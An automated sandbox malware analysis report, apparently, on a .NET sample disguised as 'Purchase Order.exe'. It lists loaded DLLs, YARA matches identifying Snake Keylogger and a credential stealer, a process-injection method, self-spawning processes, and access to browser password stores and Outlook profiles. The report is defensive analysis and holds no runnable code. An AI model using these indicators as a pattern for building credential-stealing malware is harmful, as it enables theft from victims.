Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBBBB0	2_2_05DBBBB0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBBBA0	2_2_05DBBBA0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBEB78	2_2_05DBEB78
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBEB68	2_2_05DBEB68
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBB300	2_2_05DBB300
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBE2C8	2_2_05DBE2C8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBB2EF	2_2_05DBB2EF
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBE2B8	2_2_05DBE2B8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBDA18	2_2_05DBDA18
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBDA09	2_2_05DBDA09
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DB7200	2_2_05DB7200
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E9B6E8	2_2_06E9B6E8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E9D670	2_2_06E9D670
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E9AA58	2_2_06E9AA58
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E98608	2_2_06E98608
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E9C388	2_2_06E9C388
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E9B0A0	2_2_06E9B0A0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E98C51	2_2_06E98C51
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E9D028	2_2_06E9D028
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E9A408	2_2_06E9A408
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E9C9D8	2_2_06E9C9D8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E911A0	2_2_06E911A0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E9BD38	2_2_06E9BD38
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E95EC8	2_2_06E95EC8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E9B6D8	2_2_06E9B6D8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E9F2A0	2_2_06E9F2A0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E95EB8	2_2_06E95EB8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E9D661	2_2_06E9D661
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E95A60	2_2_06E95A60
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E95A70	2_2_06E95A70
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E9F273	2_2_06E9F273
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E9AA48	2_2_06E9AA48
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E95609	2_2_06E95609
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E98602	2_2_06E98602
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E95618	2_2_06E95618
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E9A3FA	2_2_06E9A3FA
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E96BC1	2_2_06E96BC1
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E96BD0	2_2_06E96BD0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E933A8	2_2_06E933A8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E933B8	2_2_06E933B8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E9676A	2_2_06E9676A
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E96778	2_2_06E96778
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E9C378	2_2_06E9C378
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E96320	2_2_06E96320
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E93730	2_2_06E93730
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E96311	2_2_06E96311
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E908E0	2_2_06E908E0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E908F0	2_2_06E908F0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E978F0	2_2_06E978F0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E974A8	2_2_06E974A8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E90488	2_2_06E90488
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E90498	2_2_06E90498
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E9B090	2_2_06E9B090
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E97497	2_2_06E97497
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E97049	2_2_06E97049
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E90040	2_2_06E90040
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E97050	2_2_06E97050
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E9D021	2_2_06E9D021
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E90027	2_2_06E90027
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E94430	2_2_06E94430
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E92807	2_2_06E92807
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E92818	2_2_06E92818
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E9C9C8	2_2_06E9C9C8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E981A0	2_2_06E981A0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E981B0	2_2_06E981B0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E9518A	2_2_06E9518A
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E95198	2_2_06E95198
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E91191	2_2_06E91191
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E90D48	2_2_06E90D48
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E97D48	2_2_06E97D48
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E97D58	2_2_06E97D58
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E90D39	2_2_06E90D39
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E9BD36	2_2_06E9BD36
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E97900	2_2_06E97900
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E9B6E8	2_2_06E9B6E8

Source: Purchase Order.exe, 00000000.00000002.1732825265.00000000032A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs Purchase Order.exe
Source: Purchase Order.exe, 00000000.00000000.1663089517.0000000000FB4000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamecJZX.exe> vs Purchase Order.exe
Source: Purchase Order.exe, 00000000.00000002.1737532738.00000000094C0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs Purchase Order.exe
Source: Purchase Order.exe, 00000000.00000002.1732825265.0000000003301000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs Purchase Order.exe
Source: Purchase Order.exe, 00000000.00000002.1730661740.00000000013BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Purchase Order.exe
Source: Purchase Order.exe, 00000000.00000002.1733547969.000000000447E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs Purchase Order.exe
Source: Purchase Order.exe, 00000000.00000002.1733547969.000000000447E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs Purchase Order.exe
Source: Purchase Order.exe, 00000002.00000002.4123792564.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs Purchase Order.exe
Source: Purchase Order.exe, 00000002.00000002.4123928440.00000000012F7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Purchase Order.exe
Source: Purchase Order.exe	Binary or memory string: OriginalFilenamecJZX.exe> vs Purchase Order.exe

Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: dpapi.dll	Jump to behavior

Source: Purchase Order.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.Purchase Order.exe.456bca8.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Purchase Order.exe.456bca8.9.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Purchase Order.exe.456bca8.9.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Purchase Order.exe.456bca8.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.Purchase Order.exe.454b488.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Purchase Order.exe.454b488.7.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Purchase Order.exe.454b488.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Purchase Order.exe.454b488.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 2.2.Purchase Order.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.Purchase Order.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.Purchase Order.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 2.2.Purchase Order.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.Purchase Order.exe.456bca8.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Purchase Order.exe.456bca8.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Purchase Order.exe.456bca8.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.Purchase Order.exe.454b488.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Purchase Order.exe.454b488.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Purchase Order.exe.454b488.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000002.00000002.4123792564.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000002.00000002.4123792564.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.1733547969.000000000447E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1733547969.000000000447E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: Purchase Order.exe PID: 6576, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: Purchase Order.exe PID: 6576, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: Purchase Order.exe PID: 7048, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: Purchase Order.exe PID: 7048, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger

Source: Purchase Order.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.Purchase Order.exe.454b488.7.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Purchase Order.exe.454b488.7.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Purchase Order.exe.454b488.7.raw.unpack, ----.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Purchase Order.exe.454b488.7.raw.unpack, ----.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Purchase Order.exe.456bca8.9.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Purchase Order.exe.456bca8.9.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Purchase Order.exe.456bca8.9.raw.unpack, ----.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Purchase Order.exe.456bca8.9.raw.unpack, ----.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, mpRvKO3JoGJC6tKJYH.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, c0JmJwYlJqYd0MoW5e.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, c0JmJwYlJqYd0MoW5e.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, c0JmJwYlJqYd0MoW5e.cs	Security API names: _0020.AddAccessRule
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, mpRvKO3JoGJC6tKJYH.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, c0JmJwYlJqYd0MoW5e.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, c0JmJwYlJqYd0MoW5e.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, c0JmJwYlJqYd0MoW5e.cs	Security API names: _0020.AddAccessRule

Source: 0.2.Purchase Order.exe.332a1e8.3.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 0.2.Purchase Order.exe.7aa0000.11.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 0.2.Purchase Order.exe.32e29bc.1.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 0.2.Purchase Order.exe.32da9a4.2.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@4/4

Source: C:\Users\user\Desktop\Purchase Order.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Purchase Order.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe

Mutant created: NULL

Source: Purchase Order.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Purchase Order.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\Purchase Order.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Purchase Order.exe, 00000002.00000002.4124971142.000000000346B000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.000000000344D000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.000000000345D000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Purchase Order.exe

ReversingLabs: Detection: 23%

Source: unknown	Process created: C:\Users\user\Desktop\Purchase Order.exe "C:\Users\user\Desktop\Purchase Order.exe"
Source: C:\Users\user\Desktop\Purchase Order.exe	Process created: C:\Users\user\Desktop\Purchase Order.exe "C:\Users\user\Desktop\Purchase Order.exe"
Source: C:\Users\user\Desktop\Purchase Order.exe	Process created: C:\Users\user\Desktop\Purchase Order.exe "C:\Users\user\Desktop\Purchase Order.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Purchase Order.exe

